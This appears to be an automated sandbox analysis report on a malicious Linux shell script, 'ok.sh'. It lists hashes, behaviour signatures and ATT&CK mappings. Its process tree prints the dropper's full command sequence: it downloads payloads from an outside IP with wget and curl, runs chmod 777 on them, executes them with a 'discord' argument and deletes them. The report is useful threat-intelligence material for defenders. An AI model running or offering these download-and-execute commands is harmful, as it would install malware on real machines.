71e947d830bdb4f9aec4b6dbdf36cd04222791defbced6f489800acee3eeed15

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/06/2026, 03:09

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General

Target
ok.sh
Size 1KB
Sample260611-dnrchaat2r
SHA256 71e947d830bdb4f9aec4b6dbdf36cd04222791defbced6f489800acee3eeed15
MD5 f2602d2024f852fa967ddcb75ca89c44
SHA1 de2811cd58f8201582828010f27800d6e2c4e98c
SHA512 c5e72e8646e7578575f4c4af0c2062682d9b7dc03109409fa7e28a717404dfce074c5a6e1c8e3712512f25f46723b52574e6337a1dffb016054cb679553f82e4
TLSH
T15731C4BB0B1D764E1202DEA9B7762648E410E5CA204FE794FB1C08BDA2CD54A311BE0B
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
670	chmod
803	chmod
810	chmod
817	chmod
824	chmod
782	chmod
789	chmod
796	chmod
833	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/b77984	671	ok.sh
/tmp/d1489d	783	ok.sh
/tmp/1cbafd	790	ok.sh
/tmp/5bc63b	797	ok.sh
/tmp/6cd3af	804	ok.sh
/tmp/8c085b	811	ok.sh
/tmp/fd832a	818	ok.sh
/tmp/8e8625	825	ok.sh
/tmp/2dca37	834	ok.sh

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fd832a	curl
File opened for modification	/tmp/b77984	curl
File opened for modification	/tmp/1cbafd	curl
File opened for modification	/tmp/5bc63b	curl
File opened for modification	/tmp/8c085b	curl
File opened for modification	/tmp/8e8625	curl
File opened for modification	/tmp/2dca37	curl
File opened for modification	/tmp/d1489d	curl
File opened for modification	/tmp/6cd3af	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://45.205.1.59/b77984
  2⤵
  PID:648
- /usr/bin/curl
  curl -O http://45.205.1.59/b77984
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 b77984
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/b77984
  ./b77984 discord
  2⤵
  PID:671
- /bin/rm
  rm -rf b77984
  2⤵
  PID:675
- /bin/rm
  rm -rf b77984.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://45.205.1.59/d1489d
  2⤵
  PID:678
- /usr/bin/curl
  curl -O http://45.205.1.59/d1489d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 d1489d
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/d1489d
  ./d1489d discord
  2⤵
  PID:783
- /bin/rm
  rm -rf d1489d
  2⤵
  PID:785
- /bin/rm
  rm -rf d1489d.1
  2⤵
  PID:786
- /usr/bin/wget
  wget http://45.205.1.59/1cbafd
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://45.205.1.59/1cbafd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 1cbafd
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/1cbafd
  ./1cbafd discord
  2⤵
  PID:790
- /bin/rm
  rm -rf 1cbafd
  2⤵
  PID:792
- /bin/rm
  rm -rf 1cbafd.1
  2⤵
  PID:793
- /usr/bin/wget
  wget http://45.205.1.59/5bc63b
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://45.205.1.59/5bc63b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 5bc63b
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/5bc63b
  ./5bc63b discord
  2⤵
  PID:797
- /bin/rm
  rm -rf 5bc63b
  2⤵
  PID:799
- /bin/rm
  rm -rf 5bc63b.1
  2⤵
  PID:800
- /usr/bin/wget
  wget http://45.205.1.59/6cd3af
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://45.205.1.59/6cd3af
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod 777 6cd3af
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/6cd3af
  ./6cd3af discord
  2⤵
  PID:804
- /bin/rm
  rm -rf 6cd3af
  2⤵
  PID:806
- /bin/rm
  rm -rf 6cd3af.1
  2⤵
  PID:807
- /usr/bin/wget
  wget http://45.205.1.59/8c085b
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://45.205.1.59/8c085b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 8c085b
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/8c085b
  ./8c085b discord
  2⤵
  PID:811
- /bin/rm
  rm -rf 8c085b
  2⤵
  PID:813
- /bin/rm
  rm -rf 8c085b.1
  2⤵
  PID:814
- /usr/bin/wget
  wget http://45.205.1.59/fd832a
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://45.205.1.59/fd832a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 fd832a
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/fd832a
  ./fd832a discord
  2⤵
  PID:818
- /bin/rm
  rm -rf fd832a
  2⤵
  PID:820
- /bin/rm
  rm -rf fd832a.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://45.205.1.59/8e8625
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://45.205.1.59/8e8625
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 8e8625
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/8e8625
  ./8e8625 discord
  2⤵
  PID:825
- /bin/rm
  rm -rf 8e8625
  2⤵
  PID:827
- /bin/rm
  rm -rf 8e8625.1
  2⤵
  PID:828
- /usr/bin/wget
  wget http://45.205.1.59/2dca37
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://45.205.1.59/2dca37
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod 777 2dca37
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/2dca37
  ./2dca37 discord
  2⤵
  PID:834
- /bin/rm
  rm -rf 2dca37
  2⤵
  PID:836
- /bin/rm
  rm -rf 2dca37.1
  2⤵
  PID:837
- /usr/bin/wget
  wget http://45.205.1.59/e7fb51
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://45.205.1.59/e7fb51
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:839

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b77984

Path /tmp/b77984
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

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General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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